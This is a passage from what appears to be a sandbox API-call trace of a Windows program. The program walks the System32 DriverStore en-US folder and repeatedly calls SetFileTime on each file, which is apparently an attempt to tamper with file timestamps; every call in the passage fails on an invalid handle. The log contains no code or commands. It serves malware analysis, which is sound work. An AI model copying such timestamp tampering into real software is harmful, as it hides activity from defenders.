returned="msclmd.inf_loc" [0144.931] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0144.931] CloseHandle (hObject=0xffffffff) returned 0 [0144.932] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca7c8ca, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xccb91a1, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xca7c8ca, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x4fe, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdsm.inf_loc", cAlternateFileName="")) returned 1 [0144.932] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0144.932] PathFindFileNameA (pszPath="C:\\Windows\\System32\\DriverStore\\en-US\\msdri.inf_loc") returned="msdri.inf_loc" [0144.932] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0144.932] CloseHandle (hObject=0xffffffff) returned 0 [0144.932] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca7c8ca, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xccb91a1, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xca7c8ca, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1e48, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdv.inf_loc", cAlternateFileName="")) returned 1 [0144.932] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0144.932] PathFindFileNameA (pszPath="C:\\Windows\\System32\\DriverStore\\en-US\\msdsm.inf_loc") returned="msdsm.inf_loc" [0144.933] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0144.933] CloseHandle (hObject=0xffffffff) returned 0 [0144.933] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd09986b, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xd2d6142, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xd09986b, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x363e, dwReserved0=0x0, dwReserved1=0x0, cFileName="mshdc.inf_loc", cAlternateFileName="")) returned 1 [0144.933] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0144.933] PathFindFileNameA (pszPath="C:\\Windows\\System32\\DriverStore\\en-US\\msdv.inf_loc") returned="msdv.inf_loc" [0144.933] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0144.934] CloseHandle (hObject=0xffffffff) returned 0 [0144.934] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd0735b2, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xd2d6142, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xd0735b2, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x4208, dwReserved0=0x0, dwReserved1=0x0, cFileName="msmouse.inf_loc", cAlternateFileName="")) returned 1 [0144.934] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0144.934] PathFindFileNameA (pszPath="C:\\Windows\\System32\\DriverStore\\en-US\\mshdc.inf_loc") returned="mshdc.inf_loc" [0144.934] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0144.934] CloseHandle (hObject=0xffffffff) returned 0 [0144.935] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd09986b, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xd2d6142, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xd09986b, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xe9c, dwReserved0=0x0, dwReserved1=0x0, cFileName="msports.inf_loc", cAlternateFileName="")) returned 1 [0144.935] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0144.935] PathFindFileNameA (pszPath="C:\\Windows\\System32\\DriverStore\\en-US\\msmouse.inf_loc") returned="msmouse.inf_loc" [0144.935] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0144.935] CloseHandle (hObject=0xffffffff) returned 0 [0144.935] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca7c8ca, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xccb91a1, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xca7c8ca, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1714, dwReserved0=0x0, dwReserved1=0x0, cFileName="mstape.inf_loc", cAlternateFileName="")) returned 1 [0144.936] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0144.936] PathFindFileNameA (pszPath="C:\\Windows\\System32\\DriverStore\\en-US\\msports.inf_loc") returned="msports.inf_loc" [0144.936] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0144.936] CloseHandle (hObject=0xffffffff) returned 0 [0144.936] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd0bfb24, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xd2d6142, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xd0bfb24, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x13e, dwReserved0=0x0, dwReserved1=0x0, cFileName="MTConfig.inf_loc", cAlternateFileName="")) returned 1 [0144.936] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0144.937] PathFindFileNameA (pszPath="C:\\Windows\\System32\\DriverStore\\en-US\\mstape.inf_loc") returned="mstape.inf_loc" [0144.937] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0144.937] CloseHandle (hObject=0xffffffff) returned 0 [0144.937] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca7c8ca, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xccb91a1, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xca7c8ca, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xba, dwReserved0=0x0, dwReserved1=0x0, cFileName="multiprt.inf_loc", cAlternateFileName="")) returned 1 [0144.937] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0144.937] PathFindFileNameA (pszPath="C:\\Windows\\System32\\DriverStore\\en-US\\MTConfig.inf_loc") returned="MTConfig.inf_loc" [0144.937] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0144.938] CloseHandle (hObject=0xffffffff) returned 0 [0144.938] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc35461a, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xc60371c, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xc35461a, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x114, dwReserved0=0x0, dwReserved1=0x0, cFileName="ndiscap.inf_loc", cAlternateFileName="")) returned 1 [0144.938] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0144.938] PathFindFileNameA (pszPath="C:\\Windows\\System32\\DriverStore\\en-US\\multiprt.inf_loc") returned="multiprt.inf_loc" [0144.938] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0144.938] CloseHandle (hObject=0xffffffff) returned 0 [0144.938] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9a5395f, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x9e34029, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x9a5395f, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xd0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ndisuio.inf_loc", cAlternateFileName="")) returned 1 [0144.938] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0144.939] PathFindFileNameA (pszPath="C:\\Windows\\System32\\DriverStore\\en-US\\ndiscap.inf_loc") returned="ndiscap.inf_loc" [0144.939] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0144.939] CloseHandle (hObject=0xffffffff) returned 0 [0144.939] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd09986b, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xd2d6142, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xd09986b, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x28ac, dwReserved0=0x0, dwReserved1=0x0, cFileName="net1kx64.inf_loc", cAlternateFileName="")) returned 1 [0144.939] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0144.939] PathFindFileNameA (pszPath="C:\\Windows\\System32\\DriverStore\\en-US\\ndisuio.inf_loc") returned="ndisuio.inf_loc" [0144.939] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0144.939] CloseHandle (hObject=0xffffffff) returned 0 [0144.940] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd09986b, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xd2d6142, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xd09986b, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x2c72, dwReserved0=0x0, dwReserved1=0x0, cFileName="net1qx64.inf_loc", cAlternateFileName="")) returned 1 [0144.940] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0144.940] PathFindFileNameA (pszPath="C:\\Windows\\System32\\DriverStore\\en-US\\net1kx64.inf_loc") returned="net1kx64.inf_loc" [0144.940] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0144.940] CloseHandle (hObject=0xffffffff) returned 0 [0144.940] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd09986b, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xd2d6142, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xd09986b, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1f32, dwReserved0=0x0, dwReserved1=0x0, cFileName="net1yx64.inf_loc", cAlternateFileName="")) returned 1 [0144.940] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0144.940] PathFindFileNameA (pszPath="C:\\Windows\\System32\\DriverStore\\en-US\\net1qx64.inf_loc") returned="net1qx64.inf_loc" [0144.941] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0144.941] CloseHandle (hObject=0xffffffff) returned 0 [0144.941] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd0bfb24, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xd2d6142, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xd0bfb24, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1066, dwReserved0=0x0, dwReserved1=0x0, cFileName="net44amd.inf_loc", cAlternateFileName="")) returned 1 [0144.941] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0144.941] PathFindFileNameA (pszPath="C:\\Windows\\System32\\DriverStore\\en-US\\net1yx64.inf_loc") returned="net1yx64.inf_loc" [0144.941] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0144.941] CloseHandle (hObject=0xffffffff) returned 0 [0144.942] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd04d2f9, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xd2d6142, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xd04d2f9, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x728, dwReserved0=0x0, dwReserved1=0x0, cFileName="NET8185.inf_loc", cAlternateFileName="")) returned 1 [0144.942] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0144.942] PathFindFileNameA (pszPath="C:\\Windows\\System32\\DriverStore\\en-US\\net44amd.inf_loc") returned="net44amd.inf_loc" [0144.942] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0144.942] CloseHandle (hObject=0xffffffff) returned 0 [0144.942] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd04d2f9, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xd2d6142, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xd04d2f9, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x50a, dwReserved0=0x0, dwReserved1=0x0, cFileName="net8187bv64.inf_loc", cAlternateFileName="")) returned 1 [0144.943] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0144.957] PathFindFileNameA (pszPath="C:\\Windows\\System32\\DriverStore\\en-US\\NET8185.inf_loc") returned="NET8185.inf_loc" [0144.958] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0144.958] CloseHandle (hObject=0xffffffff) returned 0 [0144.958] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd04d2f9, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xd2d6142, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xd04d2f9, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1068, dwReserved0=0x0, dwReserved1=0x0, cFileName="net8187se64.inf_loc", cAlternateFileName="")) returned 1 [0144.958] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0144.959] PathFindFileNameA (pszPath="C:\\Windows\\System32\\DriverStore\\en-US\\net8187bv64.inf_loc") returned="net8187bv64.inf_loc" [0144.959] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0144.959] CloseHandle (hObject=0xffffffff) returned 0 [0144.959] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd04d2f9, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xd2d6142, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xd04d2f9, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x70c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="netathrx.inf_loc", cAlternateFileName="")) returned 1 [0144.959] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0144.959] PathFindFileNameA (pszPath="C:\\Windows\\System32\\DriverStore\\en-US\\net8187se64.inf_loc") returned="net8187se64.inf_loc" [0144.960] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0144.960] CloseHandle (hObject=0xffffffff) returned 0 [0144.960] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd0bfb24, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xd2d6142, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xd0bfb24, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x3ffe, dwReserved0=0x0, dwReserved1=0x0, cFileName="netb57va.inf_loc", cAlternateFileName="")) returned 1 [0144.960] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0144.960] PathFindFileNameA (pszPath="C:\\Windows\\System32\\DriverStore\\en-US\\netathrx.inf_loc") returned="netathrx.inf_loc" [0144.960] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0144.960] CloseHandle (hObject=0xffffffff) returned 0 [0144.961] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd04d2f9, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xd2d6142, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xd04d2f9, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1d7a, dwReserved0=0x0, dwReserved1=0x0, cFileName="netbc664.inf_loc", cAlternateFileName="")) returned 1 [0144.961] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0144.961] PathFindFileNameA (pszPath="C:\\Windows\\System32\\DriverStore\\en-US\\netb57va.inf_loc") returned="netb57va.inf_loc" [0144.961] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0144.961] CloseHandle (hObject=0xffffffff) returned 0 [0144.961] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd0bfb24, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xd2d6142, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xd0bfb24, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x4e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="netbvbda.inf_loc", cAlternateFileName="")) returned 1 [0144.961] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0144.962] PathFindFileNameA (pszPath="C:\\Windows\\System32\\DriverStore\\en-US\\netbc664.inf_loc") returned="netbc664.inf_loc" [0144.962] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0144.962] CloseHandle (hObject=0xffffffff) returned 0 [0144.962] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd0bfb24, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xd2d6142, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xd0bfb24, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x2444, dwReserved0=0x0, dwReserved1=0x0, cFileName="netbxnda.inf_loc", cAlternateFileName="")) returned 1 [0144.962] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0144.963] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0144.963] CloseHandle (hObject=0xffffffff) returned 0 [0144.963] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd09986b, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xd2d6142, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xd09986b, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x32f0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nete1e3e.inf_loc", cAlternateFileName="")) returned 1 [0144.963] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0144.963] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0144.964] CloseHandle (hObject=0xffffffff) returned 0 [0144.964] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd0bfb24, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xd2d6142, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xd0bfb24, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x4ba0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nete1g3e.inf_loc", cAlternateFileName="")) returned 1 [0144.964] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0144.964] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0144.964] CloseHandle (hObject=0xffffffff) returned 0 [0144.964] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd09986b, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xd2d6142, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xd09986b, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x36be, dwReserved0=0x0, dwReserved1=0x0, cFileName="neteFE3e.inf_loc", cAlternateFileName="")) returned 1 [0144.965] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0144.965] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0144.965] CloseHandle (hObject=0xffffffff) returned 0 [0144.965] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd0bfb24, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xd2d6142, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, 